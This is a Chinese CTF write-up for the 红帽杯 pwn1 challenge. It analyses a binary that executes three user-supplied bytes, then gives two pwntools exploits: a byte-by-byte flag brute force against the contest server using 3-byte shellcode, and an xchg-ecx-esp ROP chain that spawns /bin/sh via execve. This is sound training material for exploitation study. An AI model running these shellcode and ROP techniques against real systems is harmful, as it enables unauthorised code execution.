红帽杯pwn wp

pwn1

程序静态链接,真恶心,呕。

首先分析程序流

main

catflag

maby is good

give me

该程序,第一个模块的函数读取了flag,写入bss段。第二个模块的函数又将bss段里的flag写入了堆里,并且将v1里的数据写入bss进行覆盖。第三个模块通过index定位,读取堆里的flag(读取1个字节)放入v2,mmap分配了一个带有执行权限的内存空间,而且可以往里面读3个字节,随后把这个mmap分配的内 存地址赋给一个函数指针,并且执行,在这里把它称为函数v3。

红箭头指的就是关键地址,我们可以直接分析该模块的汇编。

1
2
mov eax, [ebp+var_14]  //这里就是mov eax, v3
call eax //这就是关键点,执行v3

那么自然想到往里写入code,使得之后的赋值mov [ebp+var_10], eax (就是对v4赋值)中的eax可控。使得最后的比对可控,是我们控制的v4与flag中的数据进行比对,从而达到爆破的目的

贴上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#*!/usr/bin/python*

\#*-\*- coding:UTF-8 -**

*from* pwn *import* *

*import* string

*from* time *import* sleep

\#*context.log_level = 'debug'*



def *Game*(index,char):

\# *cn = process('./pwn')*

\# *gdb.attach(cn,'b \*0x08048C5B')*

cn = remote('47.104.190.38',12001)

shellcode = 'RX\xc3' //push edx ; pop eax ; ret

size = ord(char) + 1

cn.recvuntil('Give me a index:')

cn.sendline(str(index))

cn.recvuntil('Three is good number,I like it very much!')

cn.send(shellcode)

cn.recvuntil('Leave you name of size:')

cn.sendline(str(size))

cn.recvuntil('Tell me:\n')

cn.send((size-1)*'a')

info = cn.recvuntil('\n')

*if*('2' in info):

​ cn.close()

​ *return* False

*elif*('1' in info):

​ print(char)

​ cn.close()

​ *return* True

*else*:

​ cn.close()

​ print(info)

​ exit(0)

*if* __name__ == '__main__':

src = string.printable

flag = ''

*for* i in range(32):

​ *for* j in src:

​ *if* Game(i, j):

​ flag += j

print flag

​ *if* j == '}':

print flag

​ exit(0)

​ *break*

或者也可以利用最后的输入,提前写好code(xchg ecx, esp)进行rop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols.c', 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
# pass

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x8048c5b
'''

f = open('/tmp/gdb_pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass

sh.sendlineafter('index:\n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!\n', payload)
sh.sendlineafter('size:\n', str(0x1ff))
# pause()
layout = [
0x08072fb1, #: pop edx; pop ecx; pop ebx; ret;
0,
0,
0x80f6d40,
0x080c11e6, #: pop eax; ret;
11,
0x080738c0, #: int 0x80; ret;
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()
clear()

本文标题:红帽杯pwn wp

文章作者:zhz

发布时间:2019年11月11日 - 22:11

最后更新:2019年11月12日 - 17:11

原始链接:http://yoursite.com/2019/11/11/红帽杯pwn-wp/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。